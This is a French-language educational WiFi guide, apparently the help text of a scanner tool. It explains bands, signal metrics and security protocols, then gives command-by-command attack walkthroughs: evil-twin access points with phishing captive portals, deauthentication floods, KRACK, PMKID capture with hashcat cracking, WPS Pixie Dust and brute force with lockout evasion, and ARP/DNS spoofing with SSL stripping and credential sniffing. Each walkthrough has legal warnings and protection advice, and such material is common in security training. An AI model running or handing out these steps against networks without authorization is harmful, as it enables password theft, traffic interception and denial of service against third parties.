Outil d'analyse réseau éducatif
Le WiFi utilise principalement 3 bandes de fréquences radio :
2.4 GHz (2400-2483.5 MHz)
→ Portée longue (~50m intérieur), 14 canaux de 22 MHz chacun
→ Plus d'interférences (micro-ondes, Bluetooth, zigbee, téléphones DECT)
→ Débit max ~600 Mbps (WiFi 4 HT40 4×4)
5 GHz (5150-5825 MHz)
→ Portée plus courte (~30m), 25+ canaux non-chevauchants
→ Moins d'interférences, canaux DFS (radar météo)
→ Débit max ~3.5 Gbps (WiFi 5 VHT160)
6 GHz (5925-7125 MHz) — WiFi 6E/7 uniquement
→ 59 canaux de 20 MHz, canaux très larges (320 MHz en WiFi 7)
→ Quasi aucune interférence, mais portée encore plus courte
💡 La fréquence plus basse = meilleure pénétration des murs mais moins de débit. C'est le compromis portée/performance.
Canaux 2.4 GHz : Chaque canal = 22 MHz de large, espacés de 5 MHz seulement → chevauchement massif !
Seuls 1, 6, 11 sont non-chevauchants (Europe: 1, 5, 9, 13).
Interférence co-canal : Deux AP sur le même canal = ils se partagent le temps d'antenne (CSMA/CA). Débit divisé mais fonctionnel.
Interférence de canal adjacent : Deux AP sur canaux chevauchants (ex: 1 et 3) = bruit. Pire que le co-canal ! Le récepteur ne peut pas décoder → retransmissions.
En 5 GHz : Canaux de 20/40/80/160 MHz, tous non-chevauchants. Largeur de canal plus grande = plus de débit mais portée réduite.
DFS (Dynamic Frequency Selection) : Canaux 52-144 partagés avec les radars météo. Le routeur doit détecter le radar et changer de canal si nécessaire.
💡 Astuce : utilisez l'onglet "Canaux" de ce scanner pour trouver le canal le moins encombré.
RSSI (Received Signal Strength Indicator) — mesuré en dBm :
-30 dBm → Excellent (collé au routeur)
-50 dBm → Très bon (même pièce)
-60 dBm → Bon (streaming HD, visio)
-67 dBm → Minimum pour VoIP fiable
-70 dBm → Faible (navigation web OK)
-80 dBm → Très faible (déconnexions)
-90 dBm → Inutilisable
SNR (Signal-to-Noise Ratio) = Signal - Bruit.
Ex : signal -60 dBm, bruit -95 dBm → SNR = 35 dB (bon)
→ SNR > 40 dB = excellent | 25-40 = bon | 15-25 = moyen | < 15 = mauvais
Attention : les dBm sont logarithmiques ! -60 est 10× plus fort que -70, et 100× plus fort que -80.
💡 Ce scanner estime aussi la distance en utilisant le modèle FSPL (Free Space Path Loss).
SSID (Service Set Identifier) : Nom du réseau (max 32 octets). Peut être masqué (hidden SSID), mais toujours visible dans les Probe Requests des clients.
BSSID : Adresse MAC du point d'accès. Format AA:BB:CC:DD:EE:FF.
→ Les 3 premiers octets = OUI (fabricant). Ex: E8:94:F6 = TP-Link
→ Un SSID peut avoir plusieurs BSSID (mesh, répéteurs, dual-band)
Types de trames 802.11 :
→ Management : Beacon (annonce AP), Probe Req/Resp (recherche), Auth, Deauth, Association
→ Control : RTS/CTS, ACK
→ Data : Les données utilisateur chiffrées
Les trames Management ne sont PAS chiffrées en WPA2 (sans 802.11w/PMF), d'où la possibilité d'attaques Deauth.
WiFi 4 (802.11n, 2009) : MIMO 4×4, HT20/HT40, 2.4+5 GHz, ~600 Mbps max
WiFi 5 (802.11ac, 2013) : MU-MIMO DL, VHT80/160, 5 GHz seul, ~3.5 Gbps
WiFi 6 (802.11ax, 2019) : OFDMA, BSS Coloring, 1024-QAM, TWT, ~9.6 Gbps
WiFi 6E (2021) : WiFi 6 + bande 6 GHz
WiFi 7 (802.11be, 2024) : 4096-QAM, MLO (Multi-Link), 320 MHz, ~46 Gbps
Technologies clés :
→ MIMO : Antennes multiples pour multiplier le débit
→ OFDMA : Subdiviser un canal en sous-canaux pour servir plusieurs clients simultanément
→ QAM : Plus de bits par symbole = plus de débit (mais nécessite un meilleur signal)
→ TWT (Target Wake Time) : Économie de batterie IoT
→ MLO : Agrégation simultanée 2.4+5+6 GHz
WEP (1999) — CASSÉ
→ Clé statique RC4, IV de 24 bits (16M possibilités → réutilisation rapide)
→ CRC32 au lieu de HMAC → permet modification de paquets
→ Cassable en 2-5 minutes avec ~40000 paquets captés
WPA (2003) — OBSOLÈTE
→ TKIP (Temporal Key Integrity Protocol) : clé par paquet + MIC Michael
→ Correctif temporaire pour le matériel WEP existant
→ MIC Michael vulnérable (Beck-Tews attack)
WPA2 (2004) — STANDARD ACTUEL
→ AES-CCMP : chiffrement AES 128 bits + authentification
→ 4-way handshake pour dériver les clés de session
→ Vulnérable si mot de passe faible (attaque dictionnaire offline)
→ KRACK (2017) et attaque PMKID (2018)
WPA3 (2018) — RECOMMANDÉ
→ SAE (Simultaneous Authentication of Equals) : résistant aux attaques offline
→ Forward secrecy : même si le mot de passe fuite, le trafic passé reste protégé
→ 192 bits en mode Enterprise (CNSA suite)
→ PMF (802.11w) obligatoire
Processus d'authentification WPA2-PSK en 4 messages :
1. AP → Client : ANonce (nombre aléatoire de l'AP)
Le client calcule le PTK (Pairwise Transient Key) avec : PMK + ANonce + SNonce + MAC_AP + MAC_Client
2. Client → AP : SNonce + MIC
L'AP calcule aussi le PTK et vérifie le MIC
3. AP → Client : GTK (Group Temporal Key) chiffré + MIC
Clé pour le trafic broadcast/multicast
4. Client → AP : ACK
Installation des clés → communication chiffrée
Hiérarchie des clés :
Mot de passe → PMK (PBKDF2, 4096 itérations) → PTK → TK + KEK + KCK
💡 C'est ce handshake que les attaquants capturent pour tenter un brute force offline. La lenteur de PBKDF2 est une protection.
Configuration du routeur :
1. ✅ Utiliser WPA3 ou WPA2-AES minimum (jamais TKIP)
2. ✅ Mot de passe fort : >14 caractères, mélange lettres/chiffres/symboles
3. ✅ Désactiver WPS (PIN bruteforcable en 11000 essais)
4. ✅ Activer 802.11w/PMF (Protected Management Frames)
5. ✅ Mettre à jour le firmware régulièrement
6. ✅ Changer le mot de passe admin par défaut
7. ✅ Utiliser un réseau invité isolé pour les visiteurs/IoT
8. ✅ Désactiver UPnP (ouvre des ports automatiquement)
9. ✅ Surveiller les appareils connectés régulièrement
10. ✅ Utiliser DNS chiffré (DoH/DoT)
En tant qu'utilisateur :
→ VPN sur les hotspots publics
→ Oublier les réseaux publics après usage
→ Vérifier HTTPS et les certificats
→ Désactiver la connexion auto aux réseaux ouverts
Principe : Créer un faux point d'accès identique au légitime pour intercepter le trafic des clients qui s'y connectent.
⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.
Étape 1 — Prérequis :
→ Carte WiFi compatible AP (mode master) — la plupart des cartes le supportent
→ Idéalement 2 interfaces : une pour le rogue AP, une pour le deauth
→ Installer les outils : sudo apt install hostapd dnsmasq aircrack-ng
Étape 2 — Reconnaissance :
→ Scanner les réseaux pour identifier la cible :
sudo airodump-ng wlan0mon
→ Noter le SSID, BSSID, canal, et type de chiffrement de l'AP cible
→ Identifier les clients connectés (colonne STATION)
Étape 3 — Créer le faux AP :
→ Configurer hostapd (/tmp/evil.conf) :
interface=wlan1
ssid=[MÊME_SSID_QUE_LA_CIBLE]
channel=[MÊME_CANAL]
driver=nl80211
→ Lancer : sudo hostapd /tmp/evil.conf
→ Pour un réseau ouvert (captive portal), pas besoin de WPA
Étape 4 — Configurer le réseau :
→ Assigner une IP au faux AP :
sudo ip addr add 192.168.1.1/24 dev wlan1
→ Configurer DHCP avec dnsmasq :
sudo dnsmasq -i wlan1 --dhcp-range=192.168.1.10,192.168.1.50,12h -d
→ Activer le forwarding : echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
→ NAT via iptables : sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Étape 5 — Déauthentifier les clients du vrai AP :
→ Sur la 2ème interface (monitor) :
sudo aireplay-ng -0 0 -a [BSSID_VRAI_AP] wlan0mon
→ Les clients perdent la connexion et se reconnectent au faux AP (signal plus fort)
Étape 6 — Intercepter le trafic :
→ Captive portal (phishing) : rediriger tout HTTP vers une page demandant le mot de passe WiFi
→ Sniffing passif : sudo tcpdump -i wlan1 -w capture.pcap
→ Analyse en temps réel : sudo wireshark -i wlan1 -k
Variantes :
→ Karma Attack : répondre à toutes les Probe Requests — les appareils cherchant "FreeWiFi" ou "Starbucks" se connectent automatiquement
→ MANA Attack : version améliorée de Karma avec relay ACL ciblé
→ Frameworks automatisés : fluxion, wifiphisher, WiFi-Pumpkin
Avec Fluxion (automatisé) :
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion && sudo ./fluxion.sh
→ Interface guidée : choix de la cible → deauth → captive portal → récupération du mot de passe
Protection :
→ WPA3-SAE : impossible de créer un faux AP sans le mot de passe (authentification mutuelle)
→ 802.1X Enterprise : certificats serveur vérifiés côté client
→ Vérifier le BSSID manuellement avant de se connecter
→ Configurer le client pour ne pas se connecter automatiquement aux réseaux ouverts
→ Utiliser un VPN systématiquement sur les hotspots
Principe : Les trames de management 802.11 ne sont pas authentifiées en WPA2 (sans PMF). Un attaquant peut forger de fausses trames Deauth pour déconnecter les clients d'un AP.
⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.
Étape 1 — Prérequis matériel :
→ Carte WiFi compatible mode monitor + injection (chipset Atheros ou Realtek)
→ Vérifier la compatibilité : iw list | grep -i monitor
→ Installer aircrack-ng : sudo apt install aircrack-ng
Étape 2 — Passer en mode monitor :
→ Stopper les processus interférents :
sudo airmon-ng check kill
→ Activer le mode monitor :
sudo airmon-ng start wlan0
→ L'interface devient wlan0mon
→ Vérifier : iwconfig wlan0mon (doit afficher "Mode:Monitor")
Étape 3 — Scanner les réseaux :
→ Lancer airodump-ng pour voir tous les AP et clients :
sudo airodump-ng wlan0mon
→ Repérer le BSSID de votre AP cible et son canal (CH)
→ Verrouiller sur un AP spécifique :
sudo airodump-ng -c [CANAL] --bssid [BSSID] wlan0mon
→ La colonne STATION montre les clients connectés
Étape 4 — Envoyer les trames deauth :
→ Deauth broadcast (tous les clients) :
sudo aireplay-ng -0 5 -a [BSSID] wlan0mon
→ -0 = mode deauth, 5 = nombre de paquets, -a = BSSID de l'AP
→ Deauth ciblé (un seul client) :
sudo aireplay-ng -0 5 -a [BSSID] -c [MAC_CLIENT] wlan0mon
→ -c = adresse MAC du client à déconnecter
Étape 5 — Observer le résultat :
→ Les clients ciblés perdent leur connexion
→ Ils se reconnectent automatiquement (⇒ capture du handshake dans airodump)
→ Si les clients ne se déconnectent pas → l'AP a probablement PMF/802.11w activé ✅
Étape 6 — Restaurer l'interface :
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
Options utiles d'aireplay-ng :
→ -0 0 = deauth continu (DoS — Ctrl+C pour arrêter)
→ -0 1 = un seul paquet (discret, pour capture handshake)
→ --deauth-rc = changer le reason code (1=unspecified, 3=leaving, 7=class3)
Alternative avec mdk4 :
sudo mdk4 wlan0mon d -B [BSSID] — deauth plus agressif
sudo mdk4 wlan0mon d -W whitelist.txt — deauth tout sauf whitelist
Protection :
→ 802.11w / PMF (Protected Management Frames) : signe cryptographiquement les trames management
→ WPA3 l'active obligatoirement
→ Sur WPA2, activer PMF dans les paramètres du routeur (souvent "Management Frame Protection")
→ Côté WIDS : détecter les deauths massifs avec kismet ou waidps
CVE-2017-13077 — Découverte par Mathy Vanhoef (2017)
Principe : Exploiter le 4-way handshake WPA2 pour forcer la réinstallation d'une clé déjà utilisée, réinitialisant le compteur de nonce → déchiffrement et injection possibles.
⚠️ Usage légal uniquement — recherche et audit autorisé.
Étape 1 — Prérequis :
→ Carte WiFi compatible monitor + injection
→ Position Man-in-the-Middle entre le client et l'AP (même canal)
→ Installer les outils :
sudo apt install python3-scapy hostapd
git clone https://github.com/vanhoefm/krackattacks-scripts.git
Étape 2 — Comprendre le mécanisme :
→ Le 4-way handshake échange 4 messages entre client et AP
→ Le message 3 installe la clé PTK (Pairwise Transient Key) sur le client
→ Si le message 4 (ACK) n'arrive pas, l'AP retransmet le message 3
→ Le client réinstalle la même clé et remet le nonce à zéro
→ Même clé + même nonce = keystream réutilisé → déchiffrable
Étape 3 — Mise en place du MitM :
→ Créer un AP cloné sur un canal différent :
→ Le script krackattack utilise un CSA (Channel Switch Announcement) pour forcer le client à changer de canal vers le faux AP
→ L'attaquant relaie les messages entre le vrai AP et le client
Étape 4 — Bloquer et rejouer :
→ Intercepter le message 3 du handshake
→ Bloquer le message 4 (ACK) du client vers l'AP
→ L'AP ne reçoit pas l'ACK → retransmet le message 3
→ Le client réinstalle la clé PTK avec le nonce remis à zéro
Étape 5 — Exploiter :
→ Les paquets chiffrés avec le même nonce sont XOR-déchiffrables
→ Sur Linux/Android (wpa_supplicant 2.4-2.6) : la clé est forcée à zéro → tout le trafic est en clair
→ Injection de données possible (ex: injecter du JavaScript dans une page HTTP)
Étape 6 — Tester avec les scripts officiels :
cd krackattacks-scripts
sudo python3 krack-test-client.py
→ Le script teste si le client est vulnérable sans exploiter réellement
→ Rapporte : "VULNERABLE" ou "NOT VULNERABLE" pour chaque variante
Variantes de KRACK :
→ Group Key Reinstallation : cible le Group Key Handshake (GTK) → déchiffrement broadcast/multicast
→ FT Handshake (802.11r) : Fast BSS Transition vulnérable au même principe
→ PeerKey/TDLS : réinstallation de clé dans les connexions directes entre clients
Protection :
→ Mettre à jour TOUS les appareils (clients ET AP) — patches disponibles depuis fin 2017
→ Les patchs empêchent la réinstallation de clé déjà utilisée
→ Vérifier : wpa_supplicant -v → version > 2.7 = patché
→ WPA3 n'est pas vulnérable (protocole SAE différent)
→ HTTPS/TLS protège le contenu même si le WiFi est déchiffré
Découverte par Jens "atom" Steube (2018, créateur de hashcat).
Avantage majeur : N'a PAS besoin d'un client connecté ni de capturer un handshake complet. Un seul paquet suffit.
⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.
Étape 1 — Prérequis :
→ Carte WiFi compatible monitor
→ Installer les outils :
sudo apt install hcxdumptool hcxtools hashcat
→ Ou depuis les sources (versions récentes) :
git clone https://github.com/ZerBea/hcxdumptool.git && cd hcxdumptool && make && sudo make install
git clone https://github.com/ZerBea/hcxtools.git && cd hcxtools && make && sudo make install
Étape 2 — Comprendre le PMKID :
→ Quand un client s'associe à un AP, celui-ci envoie un PMKID dans le 1er message EAPOL
→ Formule : PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA)
→ Le PMK est dérivé du mot de passe WiFi via PBKDF2
→ Si on devine le mot de passe, on peut recalculer le PMKID et vérifier s'il correspond
Étape 3 — Passer en mode monitor :
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
Étape 4 — Capturer le PMKID :
→ Capture ciblée sur un BSSID (méthode recommandée) :
→ Créer un filtre : echo [BSSID_SANS_DEUX_POINTS] > /tmp/filter.txt
sudo hcxdumptool -i wlan0 -o capture.pcapng --filterlist_ap=/tmp/filter.txt --filtermode=2
→ Attendre le message "FOUND PMKID" (quelques secondes à minutes)
→ Ctrl+C une fois le PMKID capturé
→ Capture large (tous les AP) :
sudo hcxdumptool -i wlan0 -o capture.pcapng --active_beacon --enable_status=15
→ Laissez tourner 5-10 minutes puis Ctrl+C
Étape 5 — Convertir la capture pour hashcat :
hcxpcapngtool capture.pcapng -o hash.22000
→ Vérifie le contenu : cat hash.22000 | head -5
→ Chaque ligne = un PMKID ou handshake exploitable
→ Format : TYPE*PMKID/MIC*MAC_AP*MAC_STA*ESSID_HEX*...
Étape 6 — Cracking avec hashcat :
→ Attaque par dictionnaire :
hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt
→ Avec règles de transformation :
hashcat -m 22000 hash.22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
→ Attaque par masque (brute force partiel) :
hashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d (8 chiffres)
→ Combinaison dictionnaire + masque :
hashcat -m 22000 hash.22000 -a 6 wordlist.txt ?d?d?d?d
Vitesses indicatives (GPU) :
→ RTX 3080 : ~700 000 hash/s
→ RTX 4090 : ~1 400 000 hash/s
→ RTX 3080 + rockyou.txt (14M mots) : ~20 secondes
Alternative avec john :
john --format=wpapsk-opencl hash.22000 --wordlist=rockyou.txt
Protection :
→ Mot de passe fort (>14 caractères aléatoires, mélange lettres/chiffres/symboles) → brute force impossible
→ WPA3-SAE : pas de PMKID échangé (authentification différente)
→ Désactiver le fast roaming (802.11r) si non nécessaire
→ Éviter les mots de passe basés sur des mots du dictionnaire, même avec substitutions (P@ssw0rd)
WPS (WiFi Protected Setup) : mécanisme de connexion simplifiée par bouton ou code PIN de 8 chiffres.
⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.
Étape 1 — Prérequis :
→ Carte WiFi compatible monitor + injection
→ Installer les outils :
sudo apt install reaver bully pixiewps wash aircrack-ng
→ Passer en mode monitor :
sudo airmon-ng check kill
sudo airmon-ng start wlan0
Étape 2 — Détecter les AP avec WPS activé :
sudo wash -i wlan0mon
→ Affiche : BSSID, canal, RSSI, version WPS, état Locked/Unlocked
→ Colonnes importantes :
→ Lck = No (non verrouillé — vulnérable) / Yes (verrouillé après trop d'essais)
→ DPSK = Yes (certaines implémentations sont vulnérables au Pixie Dust)
Étape 3 — Comprendre la faille du PIN :
→ PIN de 8 chiffres, mais le 8e est un checksum (calculable)
→ Le protocole EAP-WSC valide la 1ère moitié (4 chiffres = 10 000 possibilités) AVANT la 2ème
→ 2ème moitié = 3 chiffres effectifs (le 8e est un checksum) = 1 000 possibilités
→ Total : 11 000 essais max au lieu de 100 000 000
Étape 4a — Attaque Pixie Dust (offline, quelques secondes) :
→ Exploite les PRNG faibles de certains chipsets (Ralink, Broadcom, Realtek)
→ Avec reaver :
sudo reaver -i wlan0mon -b [BSSID] -c [CANAL] -K
→ -K active le mode Pixie Dust (utilise pixiewps en interne)
→ Résultat en 0-30 secondes si vulnérable
→ Avec bully (alternative, parfois plus fiable) :
sudo bully wlan0mon -b [BSSID] -c [CANAL] -d -v 3
→ -d active Pixie Dust, -v 3 mode verbeux
Étape 4b — Brute force online (4-10 heures) :
→ Si Pixie Dust ne fonctionne pas, brute force classique :
sudo reaver -i wlan0mon -b [BSSID] -c [CANAL] -vv -N -d 1 -r 3:15
→ -vv très verbeux, -N pas de NACK, -d 1 délai 1s entre essais
→ -r 3:15 = pause de 15s toutes les 3 tentatives (contourne certains locks)
→ Progression sauvegardée automatiquement (reprise en cas d'arrêt)
Étape 5 — Récupérer le mot de passe :
→ Une fois le PIN trouvé, reaver récupère automatiquement le mot de passe WPA :
→ [+] WPS PIN: '12345670'
→ [+] WPA PSK: 'MonMotDePasse123'
→ Si besoin de réutiliser un PIN connu :
sudo reaver -i wlan0mon -b [BSSID] -c [CANAL] -p [PIN]
Contournement du verrouillage WPS :
→ Certains routeurs se verrouillent après 3-10 échecs
→ Délai long : -d 60 -r 1:120 (1 essai, pause 2 min)
→ Spoof MAC entre les tentatives : macchanger -r wlan0mon
→ Certains routeurs reset le lock après un reboot
→ mdk4 peut forcer un reboot : sudo mdk4 wlan0mon a -a [BSSID] (auth DoS)
Protection :
→ Désactiver WPS complètement dans l'interface admin du routeur
→ Vérifier après chaque reboot (certains routeurs le réactivent)
→ Si impossible de désactiver : activer le verrouillage WPS (lock après N échecs)
→ Vérifier avec wash que WPS n'est plus annoncé dans les beacons
Principe : Se placer entre la victime et le routeur pour intercepter, lire ou modifier tout le trafic réseau en transit.
⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.
━━━ Technique 1 : ARP Spoofing ━━━
Étape 1 — Prérequis :
→ Être connecté au même réseau WiFi que la cible
→ Installer : sudo apt install arpspoof dsniff ettercap-text-only wireshark
→ Ou utiliser bettercap (framework tout-en-un) :
sudo apt install bettercap
Étape 2 — Reconnaissance du réseau :
→ Trouver la passerelle : ip route | grep default → ex: 192.168.1.1
→ Scanner les hôtes : sudo nmap -sn 192.168.1.0/24
→ Identifier la cible (IP + MAC) : arp -a
Étape 3 — Activer le forwarding :
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
→ Sans ça, les paquets relayés seraient bloqués et la cible perdrait sa connexion
Étape 4 — Lancer l'ARP spoof :
→ Avec arpspoof (2 terminaux) :
sudo arpspoof -i wlan0 -t [IP_CIBLE] [IP_ROUTEUR] (terminal 1)
sudo arpspoof -i wlan0 -t [IP_ROUTEUR] [IP_CIBLE] (terminal 2)
→ La cible pense que votre MAC = MAC du routeur, et vice-versa
→ Avec bettercap (un seul terminal) :
sudo bettercap -iface wlan0
» net.probe on (découvrir les hôtes)
» set arp.spoof.targets [IP_CIBLE]
» arp.spoof on
Étape 5 — Capturer le trafic :
sudo tcpdump -i wlan0 -w mitm_capture.pcap host [IP_CIBLE]
→ Ou en live : sudo wireshark -i wlan0 -k -f "host [IP_CIBLE]"
→ Filtres Wireshark utiles : http, dns, tcp.port == 80
━━━ Technique 2 : SSL Stripping ━━━
Étape 1 — Après avoir établi le MitM (ARP spoof actif) :
→ Rediriger le trafic HTTP dans sslstrip :
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
Étape 2 — Lancer sslstrip :
sudo sslstrip -l 8080 -w sslstrip.log
→ Intercepte les redirections HTTP→HTTPS et les downgrade en HTTP
→ La victime communique en HTTP avec l'attaquant, l'attaquant en HTTPS avec le serveur
Étape 3 — Avec bettercap (plus moderne) :
» set http.proxy.sslstrip true
» http.proxy on
→ Note : HSTS et les navigateurs modernes bloquent largement cette technique
━━━ Technique 3 : DNS Spoofing ━━━
Étape 1 — Avec bettercap (MitM actif) :
» set dns.spoof.domains google.com,facebook.com
» set dns.spoof.address [VOTRE_IP]
» dns.spoof on
→ Les requêtes DNS pour ces domaines retournent votre IP
Étape 2 — Héberger la page de phishing :
→ Serveur web local sur votre machine :
sudo python3 -m http.server 80
→ Ou avec un clone de page : httrack https://site-cible.com
→ La victime tape google.com → arrive sur votre serveur
━━━ Technique 4 : WPAD Hijacking ━━━
Fonctionnement :
→ Windows/IE cherche automatiquement http://wpad/wpad.dat pour la config proxy
→ L'attaquant répond à cette requête (via DNS spoof ou Responder) :
sudo responder -I wlan0 -wrf
→ Tout le trafic HTTP de la victime passe par le proxy de l'attaquant
→ Capture des credentials NTLM en bonus
━━━ Technique 5 : Bettercap tout-en-un ━━━
Script automatisé (caplet) :
→ Créer mitm.cap :
net.probe on
set arp.spoof.targets [IP_CIBLE]
arp.spoof on
set net.sniff.local true
net.sniff on
→ Lancer : sudo bettercap -iface wlan0 -caplet mitm.cap
→ Bettercap capture automatiquement : URLs visitées, cookies, credentials en clair, images
Protection contre les attaques MitM :
→ VPN : chiffre tout le trafic entre vous et le serveur VPN
→ HTTPS partout : extension navigateur HTTPS Everywhere / mode HTTPS-Only
→ HSTS : empêche le downgrade HTTPS→HTTP (côté serveur)
→ DNS chiffré : DoH (DNS over HTTPS) ou DoT (DNS over TLS) — empêche le DNS spoofing
→ Vérifier les certificats : ne jamais ignorer les avertissements de certificat
→ Désactiver WPAD : Paramètres proxy → Détection automatique → Off
→ ARP statique : arp -s [IP_ROUTEUR] [MAC_ROUTEUR] (temporaire, par session)
→ 802.1X : authentification par port sur les réseaux Enterprise
→ Détection : arpwatch surveille les changements de correspondance IP-MAC
Scan et monitoring :
nmcli device wifi list — Lister les réseaux
iw dev wlan0 scan — Scan détaillé avec iw
iwconfig wlan0 — Configuration interface
iw dev wlan0 info — Infos de l'interface
iw phy phy0 info — Capacités matérielles
wavemon — Moniteur temps réel (ncurses)
horst — Analyseur radio WiFi
Diagnostic :
iw dev wlan0 station dump — Stats de connexion
iw event -f — Événements WiFi en temps réel
rfkill list — État des radios
lspci -vv | grep -i wireless — Matériel WiFi
La boîte à outils de référence pour l'audit WiFi :
airmon-ng start wlan0 — Passer en mode monitor
airodump-ng wlan0mon — Scanner (voir tous les AP et clients)
airodump-ng -c 6 --bssid XX:XX -w capture wlan0mon — Capturer un réseau spécifique
aireplay-ng -0 5 -a [BSSID] wlan0mon — Deauth (forcer un handshake)
aircrack-ng -w wordlist.txt capture.cap — Cracker le mot de passe
Autres outils de la suite :
→ airdecap-ng : Déchiffrer un pcap avec la clé
→ airtun-ng : Tunnel virtuel pour injection
→ airbase-ng : Créer un soft-AP
→ packetforge-ng : Forger des paquets
⚠ À utiliser uniquement sur VOS propres réseaux ou avec autorisation écrite.
Capture & cracking :
→ hcxdumptool + hcxtools : Capture PMKID et handshakes (remplace aircrack pour WPA)
→ hashcat : GPU cracking (modes 22000/22001 pour WPA)
→ john : Alternative CPU à hashcat
Frameworks :
→ Wifite2 : Automatisation d'audit WiFi
→ Fluxion : Evil Twin + captive portal
→ Bettercap : MITM framework tout-en-un
→ WiFi-Pumpkin : Rogue AP framework
Analyse :
→ Wireshark : Analyse de paquets (supporte le déchiffrement WPA)
→ tshark : Version CLI de Wireshark
→ Kismet : Détection d'intrusion WiFi
→ Scapy : Bibliothèque Python pour forger/analyser des paquets
Kali Linux — La référence pour le pentest
→ Tous les outils WiFi préinstallés
→ Supporte le boot USB, VM, WSL2, conteneur Docker
→ sudo apt install kali-tools-wireless
Parrot Security — Alternative à Kali, plus légère
→ Orienté vie privée + pentest
→ Bonne alternative pour les machines moins puissantes
WiFiSlax — Spécialisé WiFi
→ Distribution basée sur Slackware, focus audit WiFi
→ Inclut des outils spécifiques non présents dans Kali
Matériel recommandé :
→ Carte WiFi avec chipset Atheros AR9271 (Alfa AWUS036NHA) — monitor + injection
→ Realtek RTL8812AU (Alfa AWUS036ACH) — 5 GHz + monitor
→ MediaTek MT7612U (Alfa AWUS036ACM) — support natif Linux moderne
Exercice 1 : Utilisez ce scanner pour identifier tous les réseaux autour de vous. Notez :
→ Combien utilisent 2.4 GHz vs 5 GHz ?
→ Quel canal 2.4 GHz est le plus encombré ?
→ Combien de réseaux sont ouverts ou en WEP ?
Exercice 2 : En terminal :
sudo iw dev wlan0 scan | grep -E "SSID|signal|freq" | head -30
→ Comparez les résultats avec ceux de nmcli
Exercice 3 : Identifiez votre routeur et vérifiez :
→ Le chiffrement est-il WPA2-AES ou WPA2-TKIP ?
→ Le WPS est-il activé ?
→ Le 802.11w (PMF) est-il activé ?
💡 Utilisez l'onglet Sécurité pour comprendre les vulnérabilités de chaque réseau.
Prérequis : Carte WiFi compatible monitor (chipset Atheros ou Realtek)
Étapes :
1. Vérifier la compatibilité :
iw list | grep -i monitor
2. Passer en mode monitor :
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
3. Capturer des trames :
sudo tcpdump -i wlan0 -w capture.pcap -c 1000
4. Analyser dans Wireshark :
wireshark capture.pcap
→ Filtrer : wlan.fc.type == 0 (trames management)
→ Observer les Beacons, Probe Requests, Deauth
5. Revenir au mode managed :
sudo ip link set wlan0 down
sudo iw dev wlan0 set type managed
sudo ip link set wlan0 up
⚠ Sur VOTRE réseau uniquement !
Test 1 — Force du mot de passe :
Capturer le handshake de votre AP et tester avec un dictionnaire :
sudo airodump-ng -c [CH] --bssid [BSSID] -w test wlan0mon
sudo aireplay-ng -0 2 -a [BSSID] wlan0mon (depuis un autre terminal)
aircrack-ng -w /usr/share/wordlists/rockyou.txt test-01.cap
→ Si le mot de passe est trouvé, il est trop faible !
Test 2 — WPS :
wash -i wlan0mon — Lister les AP avec WPS activé
reaver -i wlan0mon -b [BSSID] -K — Pixie Dust
Test 3 — Résistance au deauth :
sudo aireplay-ng -0 5 -a [BSSID] wlan0mon
→ Si vos appareils se déconnectent, activez 802.11w/PMF.
Débutant :
→ TryHackMe — Parcours "WiFi Hacking 101" (gratuit, interactif)
→ NetworkChuck (YouTube) — Vidéos WiFi hacking accessibles
→ David Bombal (YouTube) — Cours réseau et WiFi
Intermédiaire :
→ HackTheBox Academy — Module "Attacking WiFi Networks"
→ Cybrary — CompTIA Security+ (couvre WiFi)
→ INE/eLearnSecurity — eWPT (Web) inclut WiFi
Avancé / Certifications :
→ OSWP (OffSec Wireless Professional) — La certification de référence
→ CEH (Certified Ethical Hacker) — Module WiFi
→ GAWN (GIAC Assessing Wireless Networks) — SANS
💡 Commencez par TryHackMe, c'est gratuit et guidé étape par étape.
Livres :
→ "Real-World Bug Bounty" — Jason Haddix (inclut WiFi)
→ "Kali Linux Revealed" — Raphaël Hertzog (gratuit en PDF)
→ "802.11 Wireless Networks: The Definitive Guide" — Matthew Gast (O'Reilly)
→ "WiFi Hacking with Kali Linux" — Mark B. (initiation)
→ "The Hacker Playbook 3" — Peter Kim
Documentation technique :
→ IEEE 802.11 Standards (ieee.org)
→ WiFi Alliance Technical Specifications (wi-fi.org)
→ NIST SP 800-153 (Guidelines for Securing WLANs)
→ Mathy Vanhoef Research Papers (krackattacks.com, fragattacks.com, dragonblood.afahounko.com)
Blogs/Sites :
→ hackingarticles.in — Tutoriels WiFi détaillés
→ null-byte.wonderhowto.com — Guides pratiques
→ aircrack-ng.org/doku.php — Wiki officiel
Environnements légaux pour pratiquer :
→ TryHackMe (tryhackme.com)
Rooms : "Wifi Hacking 101", "Wireshark 101", "Nmap"
Gratuit pour commencer, guidé, idéal pour débuter
→ HackTheBox (hackthebox.com)
Labs réseau et WiFi, plus challengeant
→ Votre propre lab :
1. Vieux routeur dédié (reset factory, WEP/WPA pour tester)
2. Raspberry Pi comme AP (hostapd)
3. VM Kali + carte WiFi USB en passthrough
4. GNS3/Eve-NG pour simuler des réseaux
→ CTF (Capture The Flag) :
Les CTF cybersécurité incluent souvent des challenges WiFi
→ ctftime.org pour trouver des compétitions
⚠ Ne JAMAIS pratiquer sur des réseaux qui ne vous appartiennent pas. C'est illégal (Art. 323-1 à 323-8 du Code Pénal en France).
Étape 1 — Fondations (1-2 semaines) :
✅ Comprendre les bases réseau (TCP/IP, OSI, Ethernet)
✅ Lire les fiches "Fondamentaux" de ce scanner
✅ Installer Linux (Ubuntu ou Kali en VM)
✅ Premiers scans avec nmcli et iw
